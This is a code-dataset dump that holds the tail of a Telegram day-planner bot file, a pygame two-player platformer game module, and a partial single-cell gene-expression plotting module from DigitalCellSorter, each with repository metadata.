pages_with_indexes.items()\r\n if set(updated_elements_emoji) & set(one_value)]\r\n\r\n return allow_pages\r\n\r\n\r\n# TRANSFORM ELEMENTS\r\ndef in_roman_number(number: int):\r\n result = ''\r\n for arabic, roman in zip((1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1),\r\n 'M CM D CD C XC L XL X IX V IV I'.split()):\r\n result += number // arabic * roman\r\n number %= arabic\r\n return result\r\n", "repo_name": "kirasas/DAY-PLAN-BOT", "sub_path": "sides_bot/dayplan/utilis/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 25609, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "sqlite3.connect", "line_number": 21, "usage_type": "call"}, {"api_name": "utilis.apies.name_main_db", "line_number": 21, "usage_type": "name"}, {"api_name": "utilis.main_common.get_common_data", "line_number": 49, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 53, "usage_type": "call"}, {"api_name": "datetime.datetime.weekday", "line_number": 57, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 57, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 57, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 67, "usage_type": "call"}, {"api_name": "collections.OrderedDict.fromkeys", "line_number": 74, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 74, "usage_type": "name"}, {"api_name": "random.sample", "line_number": 87, "usage_type": "call"}, {"api_name": "utilis.consts_common.use_colours", "line_number": 87, "usage_type": "argument"}, {"api_name": "num2words.num2words", "line_number": 96, "usage_type": "call"}, {"api_name": "xlsxwriter.Workbook", "line_number": 112, "usage_type": "call"}, {"api_name": "excel2img.export_img", "line_number": 284, "usage_type": "call"}, {"api_name": "utilis.main_common.get_common_data", "line_number": 294, "usage_type": "call"}, {"api_name": "datetime.datetime.weekday", "line_number": 299, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 299, "usage_type": "attribute"}, {"api_name": "datetime.datetime.weekday", "line_number": 300, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 300, "usage_type": "attribute"}, {"api_name": "utilis.main_common.get_datetime_from_str", "line_number": 300, "usage_type": "call"}, {"api_name": "utilis.main_common.save_main_id_message", "line_number": 313, "usage_type": "call"}, {"api_name": "aiogram.types.InputFile", "line_number": 323, "usage_type": "call"}, {"api_name": "aiogram.types.InputMediaPhoto", "line_number": 346, "usage_type": "call"}, {"api_name": "aiogram.types.ParseMode.HTML", "line_number": 348, "usage_type": "attribute"}, {"api_name": "aiogram.types.ParseMode", "line_number": 348, "usage_type": "name"}, {"api_name": "utilis.main_common.get_main_id_message", "line_number": 350, "usage_type": "call"}, {"api_name": "utilis.consts_common.back_mes", "line_number": 352, "usage_type": "name"}, {"api_name": "utilis.main_common.save_common_data", "line_number": 359, "usage_type": "call"}, {"api_name": "aiogram.types.ParseMode.HTML", "line_number": 370, "usage_type": "attribute"}, {"api_name": "aiogram.types.ParseMode", "line_number": 370, "usage_type": "name"}, {"api_name": "utilis.consts_common.back_mes", "line_number": 372, "usage_type": "name"}, {"api_name": "utilis.main_common.save_main_id_message", "line_number": 374, "usage_type": "call"}, {"api_name": "utilis.main_common.message_no_data", "line_number": 379, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 384, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 392, "usage_type": "call"}, {"api_name": "utilis.main_common.get_common_data", "line_number": 405, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 408, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 408, "usage_type": "attribute"}, {"api_name": "datetime.timezone", "line_number": 408, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 408, "usage_type": "call"}, {"api_name": "utilis.main_common.get_datetime_from_str", "line_number": 425, "usage_type": "call"}, {"api_name": "math.floor", "line_number": 426, "usage_type": "call"}, {"api_name": "utilis.main_common.big_replacing", "line_number": 427, "usage_type": "call"}, {"api_name": "utilis.consts_common.dict_with_bold_nums", "line_number": 427, "usage_type": "argument"}, {"api_name": "collections.OrderedDict.fromkeys", "line_number": 437, "usage_type": "call"}, {"api_name": "collections.OrderedDict", "line_number": 437, "usage_type": "name"}, {"api_name": "utilis.consts_common.emoji_work_dp_list", "line_number": 439, "usage_type": "name"}, {"api_name": "utilis.consts_common.emoji_work_dp_list", "line_number": 460, "usage_type": "name"}]} +{"seq_id": "36326688147", "text": "import sys\nimport pygame\nfrom pygame.locals import *\n\n\nclass Game:\n # game meta functions\n def __init__(self):\n \"\"\"\n Initialize game.\n\n Create a public display that the user sees. Also create an internal\n display that only the game handles. The internal will be scaled to\n fit public display.\n \"\"\"\n # create external pygame window\n WINDOW_SIZE = (640, 480)\n self.screen = pygame.display.set_mode(WINDOW_SIZE, pygame.RESIZABLE)\n pygame.display.set_caption(\"Magma Boy and Hydro Girl\")\n\n # create internal pygame window\n CHUNK_SIZE = 16\n DISPLAY_SIZE = (34 * CHUNK_SIZE, 25 * CHUNK_SIZE)\n self.display = pygame.Surface(DISPLAY_SIZE)\n\n def draw_level_screen(self, level_select):\n \"\"\"\n Draw level selection screen.\n\n Args:\n level_select::level_select class object\n A class object that contains the images for the level seleciton\n screen.\n \"\"\"\n # display main level selectio screen background\n self.display.blit(level_select.screen, (0, 0))\n\n # display the 5 level titles\n for level in range(5):\n # get image from level_select titles dictionary\n image = level_select.titles[level + 1]\n # center title in x direction\n title_x = (self.display.get_width() - image.get_width()) / 2\n # move titles down so that they don't overlap\n title_y = 50 * level + 100\n self.display.blit(image, (title_x, title_y))\n\n # display the characters on the left and right of level titles\n left_cords = (50, 150)\n right_cords = (430, 150)\n self.display.blit(level_select.left_player, left_cords)\n self.display.blit(level_select.right_player, right_cords)\n\n def user_select_level(self, level_select, controller):\n \"\"\"\n Allow for user to select level.\n\n As user clicks up and down arrows, move level indicator up and down.\n When user clicks <enter>, return which level they selectd.\n\n Args:\n level_select::level_select class object\n A class object that contains the images for the level seleciton\n screen.\n controller::controler class object\n A contoller object that allows access to keyboard inputs\n \"\"\"\n # create current level selected index\n level_index = 0\n # create dictionary to map index to level name\n level_dict = {\n 0: \"level1\",\n 1: \"level2\",\n 2: \"level3\",\n 3: \"level1\",\n 4: \"level1\"\n }\n while True:\n # draw the level selection screen\n self.draw_level_screen(level_select)\n # get all pygame inputs\n events = pygame.event.get()\n # if player presses <down>\n if controller.press_key(events, K_DOWN):\n # move index down one\n level_index += 1\n # wrap around if goes past end\n if level_index == 5:\n level_index = 0\n # if player presses <up>\n if controller.press_key(events, K_UP):\n # move index up one\n level_index -= 1\n # wrap around if goes past end\n if level_index == -1:\n level_index = 4\n # draw indicator around the currently selected level\n self.draw_level_select_indicator(level_select, level_index)\n\n # if user clicks enter\n if controller.press_key(events, K_RETURN):\n # return the name of the level using dict\n return level_dict[level_index]\n\n def draw_level_select_indicator(self, level_select, level_index):\n \"\"\"\n Draw level indicator around currently selected level\n\n Args:\n level_select::level_select class object\n A class object that contains the images for the level seleciton\n screen.\n level_index::int\n Intiger value between 0 and 4.\n \"\"\"\n indicator = level_select.indicator_image\n # center indicator at the center of screen\n location_x = (self.display.get_width() - indicator.get_width()) / 2\n # move indicator down depending on level index\n location_y = level_index * 50 + 96\n # create tuple of cordinates\n indicator_location = (location_x, location_y)\n # draw indicator\n self.display.blit(level_select.indicator_image, indicator_location)\n self.refresh_window()\n\n def refresh_window(self):\n \"\"\"\n Refresh and draw the game screen\n \"\"\"\n new_window_size, center_cords = self.adjust_scale()\n # scale internal display to match window)\n new_disp = pygame.transform.scale(self.display, new_window_size)\n self.screen.blit(new_disp, center_cords)\n pygame.display.update()\n\n def adjust_scale(self):\n \"\"\"\n Adjust internal screen for window scaling\n\n If the window size is changed, scale the game to the maximum amount\n while keeping the same aspect ratio. Also keep the game centered in the\n window.\n\n Returns:\n display_size::tuple (height, width)\n The updated height and width of the internal game display\n cords::tuple (x_cord, y_cord)\n The cordinates of the upper left corner of the internal game\n display so that when it is blit onto window, it is centered.\n \"\"\"\n window_size = self.screen.get_size()\n\n # if window is longer than aspect ratio\n if window_size[0] / window_size[1] >= 1.5:\n display_size = (int(1.5 * window_size[1]), window_size[1])\n # if window is taller than aspect ratio\n else:\n display_size = (window_size[0], int(.75 * window_size[0]))\n # find cords so that display is centered\n cords = ((window_size[0] - display_size[0]) / 2,\n (window_size[1] - display_size[1]) / 2)\n\n return display_size, cords\n\n # game mechanics\n\n def draw_level_background(self, board):\n \"\"\"\n Draw the background of the level.\n\n Args:\n board::board class object\n board class object that contains information on chunk images\n and thier locations\n \"\"\"\n self.display.blit(board.get_background(), (0, 0))\n\n def draw_board(self, board):\n \"\"\"\n Draw the board.\n\n Args:\n board::board class object\n board class object that contains information on chunk images\n and thier locations\n \"\"\"\n # draw the full background\n board_textures = board.get_board_textures()\n # draw the solid blocks and liquids\n for y, row in enumerate(board.get_game_map()):\n for x, tile in enumerate(row):\n if tile != \"0\":\n self.display.blit(\n board_textures[f\"{tile}\"], (x * 16, y * 16)\n )\n\n def draw_gates(self, gates):\n \"\"\"\n Draw gates and buttons.\n\n Args:\n gates::[gate object, ...]\n A list of gate objects with image and location information.\n \"\"\"\n for gate in gates:\n # dispaly gate\n self.display.blit(gate.gate_image, gate.gate_location)\n\n for location in gate.plate_locations:\n # display plate location\n self.display.blit(gate.plate_image, location)\n\n def draw_doors(self, doors):\n \"\"\"\n Draw doors\n\n Args:\n doors::[door object, door object]\n A list of door class objects contianing image and locaiton\n information of door, door background, and fame.\n \"\"\"\n for door in doors:\n # draw door background\n self.display.blit(door.door_background, door.background_location)\n # draw door\n self.display.blit(door.door_image, door.door_location)\n # draw door frame\n self.display.blit(door.frame_image, door.frame_location)\n\n def draw_player(self, players):\n \"\"\"\n Draw the player.\n\n If the player is moving right or left, draw the player as facing that\n direction.\n\n Args:\n player::[player object, player object]\n a list of player objects that contains movement data as well as\n different images, one for each direction it can face.\n \"\"\"\n for player in players:\n if player.moving_right:\n player_image = player.side_image\n elif player.moving_left:\n player_image = pygame.transform.flip(\n player.side_image, True, False)\n else:\n player_image = player.image\n player_image.set_colorkey((255, 0, 255))\n self.display.blit(player_image, (player.rect.x, player.rect.y))\n\n def move_player(self, board, gates, players):\n \"\"\"\n Move player\n\n This function primarily deals with collisions. The function moves the\n player than checks for collisons with the board and gates. It then\n adjusts the locaiton of the player to account for these collisions.\n\n Args:\n board::board class object\n board class object that contains information on where solid\n where.\n gates::[gate object, ...]\n A list of gate class objects that contians information on where\n the solid aspects of the gate are.\n players::[player object, player object]\n A list of player objects that contain information on movement\n and position.\n \"\"\"\n for player in players:\n # For each frame, calculate what it's motion is\n player.calc_movement()\n movement = player.get_movement()\n\n # create a list of solid blocks\n collide_blocks = board.get_solid_blocks()\n # add solid blocks from each gates\n for gate in gates:\n collide_blocks += gate.get_solid_blocks()\n\n # create dictionary for which side the player is coliding on\n collision_types = {\n 'top': False,\n 'bottom': False,\n 'right': False,\n 'left': False}\n\n # try movng the player laterally\n player.rect.x += movement[0]\n # get a list of all blocks that the player is colliding with.\n hit_list = self.collision_test(player.rect, collide_blocks)\n for tile in hit_list:\n # if player is moving right\n if movement[0] > 0:\n # set right side of player to be left side of tile\n player.rect.right = tile.left\n collision_types['right'] = True\n # if player is moving left\n elif movement[0] < 0:\n # set left side of plyaer to be right side of tile\n player.rect.left = tile.right\n collision_types['left'] = True\n\n # try moving the player vertically\n player.rect.y += movement[1]\n # get a list of all blocks that the player is colliding with.\n hit_list = self.collision_test(player.rect, collide_blocks)\n for tile in hit_list:\n # if player is moving down\n if movement[1] > 0:\n # set bottom of player to top of tile\n player.rect.bottom = tile.top\n collision_types['bottom'] = True\n # if player is moving up\n elif movement[1] < 0:\n # set top of player to bottom of tile\n player.rect.top = tile.bottom\n collision_types['top'] = True\n\n # if player hits ground, lose all y_velocity\n # if player hits ground, reset air_timer\n if collision_types['bottom']:\n player.y_velocity = 0\n player.air_timer = 0\n else:\n player.air_timer += 1\n\n # if player hit head, lose all y_velocity\n if collision_types['top']:\n player.y_velocity = 0\n\n def check_for_death(self, board, players):\n \"\"\"\n Check to see if player has falen in pool that kills them or if they are\n crushed by a gate.\n\n If a magma type player collides with a water pool, they die. Likewise,\n if a water type player collides with a lava pool, they die. If either\n type of player collides with a goo pool, they die.\n Args:\n board::board class object\n class object with information on board layout\n gates::gate class object\n class object with information on gate location and state\n players::[player object, player object]\n A list of player class objects.\n \"\"\"\n for player in players:\n # if the player is hydro_girl\n if player.get_type() == \"water\":\n # see if she collides with lava\n is_killed = self.collision_test(\n player.rect, board.get_lava_pools())\n # if the player is magma_boy\n if player.get_type() == \"magma\":\n # see if he collides wit water\n is_killed = self.collision_test(\n player.rect, board.get_water_pools())\n # see if either collide with goo\n is_killed += self.collision_test(player.rect, board.get_goo_pools())\n\n # if the is_killed list is longer than 0, kill player\n if is_killed:\n player.kill_player()\n\n def check_for_gate_press(self, gates, players):\n \"\"\"\n Check to see if either player is touching one of the gate buttons.\n\n Args:\n gates::[gate object, ...]\n A list of gate class object containing information on location\n of the gate, the buttons, and images\n players::[player object, player object]\n A list of player class objects containing information on their\n location.\n \"\"\"\n for gate in gates:\n plate_collisions = []\n for player in players:\n # is player is colliding with plate, add to list\n plates = gate.get_plates()\n plate_collisions += self.collision_test(player.rect, plates)\n # if the collide list is longer than zero, set plate to pressed\n if plate_collisions:\n gate.plate_is_pressed = True\n # otherwise, set plate to not being pressed\n else:\n gate.plate_is_pressed = False\n # attempt to raise the gate. If plate is pressed, gate will raise,\n # otherwise, the gate will close\n gate.try_open_gate()\n\n def check_for_door_open(self, door, player):\n \"\"\"\n Check to see if a player is at the door.\n\n Args:\n door::door class object\n A door object containing information on its locaiton and state\n player::player class object\n A player ojbect containing information on its location\n \"\"\"\n # check to see if the player is at the door\n door_collision = self.collision_test(player.rect, [door.get_door()])\n # if the collision list is greater than zero, player is at door\n if door_collision:\n door.player_at_door = True\n # otherwise, player is not at door\n else:\n door.player_at_door = False\n # attempt to raise door. If nobody is at door, try to close the door\n door.try_raise_door()\n\n @staticmethod\n def level_is_done(doors):\n \"\"\"\n Check to see if the level is complete\n\n Args:\n doors::[door object, door object]\n A list of door class objects that contain information on their\n state.\n Return:\n is_win::bool\n Return True if level is complete, or False if it is not\n \"\"\"\n # by default set win to true\n is_win = True\n for door in doors:\n # if either door are not open, set win to False\n if not door.is_door_open():\n is_win = False\n return is_win\n\n @staticmethod\n def collision_test(rect, tiles):\n \"\"\"\n Create a list of tiles a pygame rect is colliding with.\n\n Args:\n rect::pygame.rect\n A pygame rect that may be colliding with other rects.\n tiles::[rect, rect, rect]\n A list of pygame rects. The function checks to see if the\n arguement \"rect\" colides with any of these \"tiles\".\n Returns:\n hit_list::list\n A list of all \"tiles\" that the argument rect is colliding with.\n If an empty list is returned, the rect is not colliding with\n any tile.\n \"\"\"\n hit_list = []\n for tile in tiles:\n if rect.colliderect(tile):\n hit_list.append(tile)\n return hit_list\n", "repo_name": "ctallum/MagmaBoy-and-HydroGirl-Game", "sub_path": "game.py", "file_name": "game.py", "file_ext": "py", "file_size_in_byte": 17490, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pygame.display.set_mode", "line_number": 18, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pygame.RESIZABLE", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pygame.display.set_caption", "line_number": 19, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 19, "usage_type": "attribute"}, {"api_name": "pygame.Surface", "line_number": 24, "usage_type": "call"}, {"api_name": "pygame.event.get", "line_number": 82, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 82, "usage_type": "attribute"}, {"api_name": "pygame.transform.scale", "line_number": 133, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 133, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 135, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 135, "usage_type": "attribute"}, {"api_name": "pygame.transform.flip", "line_number": 247, "usage_type": "call"}, {"api_name": "pygame.transform", "line_number": 247, "usage_type": "attribute"}]} +{"seq_id": "11689290191", "text": "import os\r\nimport copy\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nimport scipy.stats\r\nimport scipy.signal\r\nimport scipy.ndimage\r\nimport scipy.cluster.hierarchy\r\nfrom scipy.interpolate import UnivariateSpline\r\nfrom scipy.ndimage import gaussian_filter\r\n\r\nimport matplotlib\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.patheffects as path_effects\r\nfrom matplotlib import cm\r\n\r\nimport plotly.express as px\r\nimport plotly.graph_objects as go\r\nfrom plotly.offline import plot as plot_offline\r\nfrom plotly.offline import plot_mpl\r\nfrom adjustText import adjust_text\r\n\r\nfrom .GenericFunctions import read, write\r\n\r\nnp.warnings.filterwarnings('ignore', category=np.VisibleDeprecationWarning)\r\n\r\nclass VisualizationFunctions:\r\n\r\n '''Class of visualization functions for DigitalCellSorter'''\r\n\r\n def __init__(self, dataName = 'dataName', saveDir = os.path.join(''), matplotlibMode = 'Agg', safePlotting = True, verbose = 1):\r\n\r\n '''Function called automatically'''\r\n\r\n self.saveDir = saveDir\r\n self.dataName = dataName\r\n self.matplotlibMode = matplotlibMode\r\n self.safePlotting = safePlotting\r\n self.verbose = verbose\r\n\r\n return\r\n\r\n @property\r\n def matplotlibMode(self):\r\n\r\n return self._matplotlibMode\r\n\r\n @matplotlibMode.setter\r\n def matplotlibMode(self, value):\r\n\r\n self._matplotlibMode = value\r\n\r\n if not self.matplotlibMode is None:\r\n matplotlib.use(self.matplotlibMode)\r\n\r\n return\r\n\r\n def tryExcept(func):\r\n\r\n def internal(self, *args, **kwargs):\r\n\r\n if self.safePlotting:\r\n try:\r\n return func(self, *args, **kwargs)\r\n\r\n except Exception as exception:\r\n if self.verbose >= 1:\r\n print('Something went wrong while making plot: %s' % (func))\r\n print('\\tError message: %s\\n' % (exception))\r\n else:\r\n return func(self, *args, **kwargs)\r\n\r\n internal.__name__ = func.__name__\r\n internal.__doc__ = func.__doc__\r\n\r\n return internal\r\n\r\n def saveFigure(self, fig, saveDir, label = 'Figure', extension = 'png', dpi = 300, close = True, attemptSavingHTML = False):\r\n\r\n '''Function used internally to save and close figures\r\n\r\n Parameters:\r\n saveDir: str\r\n Path of directories to save the object to\r\n\r\n label: str, Default 'Figure'\r\n Name of the figure to save\r\n\r\n extension: str, Default '.png'\r\n Path of directories to save the object to\r\n \r\n dpi: int, Default 300\r\n Figure resolution if rasterized\r\n\r\n close: boolean: Default True\r\n Whether to close the figure after saving\r\n\r\n Returns:\r\n None\r\n\r\n Usage:\r\n saveFigure(fig, saveDir, label, extension, dpi)\r\n '''\r\n\r\n if saveDir != os.path.join('') and not os.path.exists(saveDir):\r\n os.makedirs(saveDir)\r\n\r\n try:\r\n if not extension[0] == '.':\r\n extension = ''.join(['.', extension])\r\n except Exception as exception:\r\n if self.verbose >= 1:\r\n print(exception)\r\n print('Figure extension/format error')\r\n print('Example of acceptable extension: \\\".png\\\"')\r\n\r\n return\r\n\r\n if extension in ['.png', '.jpeg', '.tiff']:\r\n try:\r\n fig.savefig(os.path.join(saveDir, label + extension), dpi=dpi)\r\n except Exception as exception:\r\n if self.verbose >= 1:\r\n print(exception)\r\n\r\n elif extension in ['.svg', '.eps', '.pdf']:\r\n try:\r\n fig.savefig(os.path.join(saveDir, label + extension))\r\n except Exception as exception:\r\n if self.verbose >= 1:\r\n print(exception)\r\n else:\r\n if self.verbose >= 1:\r\n print('Unsupported format. Figure not saved')\r\n\r\n if attemptSavingHTML:\r\n try:\r\n plot_mpl(fig, filename=os.path.join(saveDir, label + '.html'), auto_open=False)\r\n except Exception as exception:\r\n if self.verbose >= 1:\r\n print('Saving to iteractive HTML did not succeed')\r\n\r\n if close:\r\n try:\r\n plt.close(fig)\r\n except Exception as exception:\r\n if self.verbose >= 1:\r\n print(exception)\r\n print('Error while closing figure')\r\n\r\n return\r\n\r\n # MatPlotLib-powered figures\r\n\r\n @tryExcept\r\n def makeHeatmapGeneExpressionPlot(self, df = None, genes = None, normalize = True, logScale = False, subtract = False, saveExcel = True, nameToAppend = 'heatmap', plotBy = 'cluster', figsize = (8, 4), convertGenes = False, orderGenes = False, orderClusters = False, dpi = 300, extension = 'png', fontsize = 10, labelsFontsize = 10, **kwargs):\r\n\r\n '''Make heatmap gene expression plot from a provided gene expression matrix.\r\n\r\n Parameters:\r\n df: pandas.DataFrame\r\n Gene expression matrix\r\n\r\n genes: list, Default None\r\n List of genes to plot\r\n \r\n nameToAppend: str, Default ''\r\n String to append to fifure file name\r\n\r\n dpi: int, Default 300\r\n Resolution of the figure image\r\n\r\n extension: str, Default 'png'\r\n Format of the figure file\r\n\r\n Returns:\r\n None\r\n \r\n Usage:\r\n DCS = DigitalCellSorter.DigitalCellSorter()\r\n\r\n DCS.makeHeatmapGeneExpressionPlot()\r\n '''\r\n\r\n if not genes is None:\r\n if type(genes) in [list, np.ndarray, tuple]:\r\n isNegativeGenes = [True if gene[-1] == '-' else False for gene in genes]\r\n genes = [gene[:-1] if gene[-1] == '-' else gene for gene in genes]\r\n\r\n if convertGenes:\r\n genes = self.gnc.Convert(genes, 'alias', 'hugo', returnUnknownString=False)\r\n\r\n\r\n elif type(genes) in [dict]:\r\n isNegativeGenes = dict()\r\n for key in genes.keys():\r\n isNegativeGenes[key] = [True if gene[-1] == '-' else False for gene in genes[key]]\r\n genes[key] = [gene[:-1] if gene[-1] == '-' else gene for gene in genes[key]]\r\n\r\n if convertGenes:\r\n for key in genes.keys():\r\n genes[key] = self.gnc.Convert(genes[key], 'alias', 'hugo', returnUnknownString=False)\r\n\r\n else:\r\n if self.verbose >= 1:\r\n print('Plotting all expressed genes not supported. Provide a smaller list of genes')\r\n\r\n return\r\n\r\n lengthListGenes = []\r\n labelsListGenes = []\r\n\r\n if df is None:\r\n if self.df_expr is None:\r\n self.loadExpressionData()\r\n\r\n if self.df_expr is None:\r\n return\r\n\r\n targetIndex = self.df_expr.index\r\n\r\n if type(genes) in [list, np.ndarray, tuple]:\r\n ind = np.isin(genes, targetIndex)\r\n common = np.array(genes)[ind]\r\n isNegativeGenes = np.array(isNegativeGenes)[ind]\r\n\r\n elif type(genes) in [dict]:\r\n common = []\r\n temp_negative = []\r\n for key in genes.keys():\r\n ind = np.isin(genes[key], targetIndex)\r\n temp_common = np.array(genes[key])[ind]\r\n isNegativeGenes_common = np.array(isNegativeGenes[key])[ind]\r\n\r\n if len(temp_common) > 0:\r\n common.extend(temp_common)\r\n temp_negative.extend(isNegativeGenes_common)\r\n lengthListGenes.append(len(temp_common))\r\n labelsListGenes.append(key)\r\n\r\n isNegativeGenes = np.array(temp_negative)\r\n\r\n else:\r\n return\r\n\r\n df = self.df_expr.loc[common].copy()\r\n\r\n else:\r\n targetIndex = df.index\r\n\r\n if type(genes) in [list, np.ndarray, tuple]:\r\n ind = np.isin(genes, targetIndex)\r\n common = np.array(genes)[ind]\r\n isNegativeGenes = np.array(isNegativeGenes)[ind]\r\n\r\n elif type(genes) in [dict]:\r\n common = []\r\n temp_negative = []\r\n for key in genes.keys():\r\n ind = np.isin(genes[key], targetIndex)\r\n temp_common = np.array(genes[key])[ind]\r\n isNegativeGenes_common = np.array(isNegativeGenes[key])[ind]\r\n\r\n if len(temp_common) > 0:\r\n common.extend(temp_common)\r\n temp_negative.extend(isNegativeGenes_common)\r\n lengthListGenes.append(len(temp_common))\r\n labelsListGenes.append(key)\r\n\r\n isNegativeGenes = np.array(temp_negative)\r\n\r\n else:\r\n return\r\n \r\n df = df.loc[common]\r\n\r\n counts = df.loc[[df.index[0]]].groupby(axis=1, level=plotBy).count()\r\n means = df.mean(axis=1)\r\n\r\n df = df.groupby(axis=1, level=plotBy).mean()\r\n df.columns = df.columns.get_level_values(plotBy)\r\n df.columns = list(zip(df.columns.values, counts.values[0]))\r\n\r\n if normalize:\r\n for i in range(df.shape[0]):\r\n if subtract:\r\n df.iloc[i,:] -= np.min(df.iloc[i,:])\r\n\r\n df.iloc[i,:] /= np.max(df.iloc[i,:])\r\n\r\n if logScale:\r\n df += 1.\r\n df = np.log(df)\r\n \r\n if orderGenes:\r\n df = df.iloc[scipy.cluster.hierarchy.dendrogram(scipy.cluster.hierarchy.linkage(df, 'ward'), no_plot=True, get_leaves=True)['leaves']]\r\n\r\n if orderClusters:\r\n df = df.T.iloc[scipy.cluster.hierarchy.dendrogram(scipy.cluster.hierarchy.linkage(df.T, 'ward'), no_plot=True, get_leaves=True)['leaves']].T\r\n\r\n df.insert(0, ('Mean', 'All'), means)\r\n\r\n if saveExcel:\r\n df.T.to_excel(os.path.join(self.saveDir, self.dataName + '_' + nameToAppend + '_genes_by_%s' % (plotBy) + '.xlsx'))\r\n\r\n fig, ax = plt.subplots(figsize=figsize)\r\n\r\n ax.imshow(df.T.values[1:,:], cmap='Blues', interpolation='None', aspect='auto', \r\n extent=(-0.5, df.shape[0] - 0.5, df.shape[1] - 0.5, +0.5))\r\n\r\n data = df.T.values[1:,:].copy()\r\n data[:, ~isNegativeGenes] = np.nan\r\n data = np.ma.masked_where(np.isnan(data), data)\r\n\r\n ax.imshow(data, cmap='Reds', interpolation='None', aspect='auto', \r\n extent=(-0.5, df.shape[0] - 0.5, df.shape[1] - 0.5, +0.5))\r\n\r\n ax.imshow(df.T.values[:1,:], cmap='Reds', interpolation='None', aspect='auto', \r\n extent=(-0.5, df.shape[0] - 0.5, -0.5, +0.5))\r\n\r\n ax.axhline(y=0.5, c='k', lw=1.5)\r\n\r\n if len(lengthListGenes) != 0:\r\n currPosition = 0\r\n for label, value in zip(labelsListGenes, lengthListGenes):\r\n currPosition += value\r\n ax.axvline(x=currPosition - 0.5, c='k', lw=1)\r\n ax.text(currPosition - 0.5 * value - 0.5, df.shape[1], label, fontsize=labelsFontsize, c='k', ha='center', va='top')\r\n\r\n df_temp = pd.DataFrame(index=df.columns[1:], columns=labelsListGenes)\r\n df_temp.index = pd.MultiIndex.from_tuples(df_temp.index).get_level_values(0)[::-1]\r\n df_temp.to_excel(os.path.join(self.saveDir, self.dataName + '-' + nameToAppend + '.xlsx'))\r\n\r\n ax.set_xticks(range(df.shape[0]))\r\n ax.set_yticks(range(df.shape[1]))\r\n\r\n ylabels = ['(' + str(col[1]) + ')%s#' % (' ' if len(col[0]) <= 3 else ' ') + str(col[0]) for col in df.columns]\r\n ylabels[0] = 'Mean across all cells'\r\n\r\n ax.set_xticklabels(df.index, rotation=90, fontsize=fontsize)\r\n ax.set_yticklabels(ylabels, rotation=0, fontsize=1.2 * fontsize)\r\n\r\n ax.set_xlim([-0.5, df.shape[0] - 0.5])\r\n ax.set_ylim([-0.5, df.shape[1] - 0.5])\r\n\r\n fig.tight_layout()\r\n\r\n self.saveFigure(fig, self.saveDir, self.dataName + '_' + nameToAppend + '_genes_by_%s' % (plotBy), extension=extension, dpi=dpi, **kwargs)\r\n\r\n return fig\r\n \r\n @tryExcept\r\n def makeMarkerExpressionPlot(self, fontscale = 1., dpi = 300, extension = 'png', **kwargs):\r\n\r\n '''Produce image on marker genes and their expression on all clusters.\r\n Uses files generated by function DCS.Vote\r\n\r\n Parameters:\r\n dpi: int, Default 600\r\n Resolution of the figure image\r\n\r\n extension: str, Default 'png'\r\n Format of the figure file\r\n\r\n Returns:\r\n None\r\n \r\n Usage:\r\n DCS = DigitalCellSorter.DigitalCellSorter()\r\n\r\n DCS.makeMarkerExpressionPlot()\r\n '''\r\n\r\n df_votingResults = pd.read_excel(os.path.join(self.saveDir, self.dataName + '_annotation.xlsx'), sheet_name='z-scores')\r\n votingResults = dict(zip(df_votingResults['cluster'].values, df_votingResults['Predicted cell type'].values))\r\n predictedCelltypes = dict(zip(df_votingResults['cluster'].values, df_votingResults['Predicted cell type'].str.split(' #', expand=True)[0]))\r\n supportingMarkersList = dict(zip(df_votingResults['cluster'].values, df_votingResults['Supporting markers'].str.split(' // ')))\r\n allMarkersList = dict(zip(df_votingResults['cluster'].values, df_votingResults['All markers'].str.split(' // ')))\r\n df_markers_cluster_centroids = pd.read_excel(os.path.join(self.saveDir, self.dataName + '_annotation.xlsx'), sheet_name='Cluster centroids', index_col=0, header=0).T\r\n\r\n df_markers = pd.read_excel(os.path.join(self.saveDir, self.dataName + '_annotation.xlsx'), sheet_name='Marker cell type weight matrix', index_col=0)\r\n df_markers_weighted = df_markers.copy()\r\n df_markers[df_markers >= 0.] = np.nan\r\n df_markers[df_markers < 0.] = -1.\r\n\r\n # Y_mc.T\r\n X_markers_cluster_means_transpose = df_markers_cluster_centroids.values.T\r\n\r\n df_means = df_markers_cluster_centroids.copy()\r\n \r\n # Normalization\r\n for i in range(X_markers_cluster_means_transpose.shape[1]):\r\n X_markers_cluster_means_transpose[:,i] -= np.min(X_markers_cluster_means_transpose[:,i])\r\n X_markers_cluster_means_transpose[:,i] /= np.max(X_markers_cluster_means_transpose[:,i])\r\n\r\n ORDER = scipy.cluster.hierarchy.dendrogram(scipy.cluster.hierarchy.linkage(X_markers_cluster_means_transpose, 'ward'), no_plot=True, get_leaves=True)['leaves']\r\n ORDER2 = scipy.cluster.hierarchy.dendrogram(scipy.cluster.hierarchy.linkage(X_markers_cluster_means_transpose.T, 'ward'), no_plot=True, get_leaves=True)['leaves']\r\n\r\n df_markers_weighted = df_markers_weighted.iloc[:, ORDER2]\r\n\r\n X_markers_cluster_means_sorted = X_markers_cluster_means_transpose[ORDER,:][:,ORDER2]\r\n\r\n df_all_marker_hits = 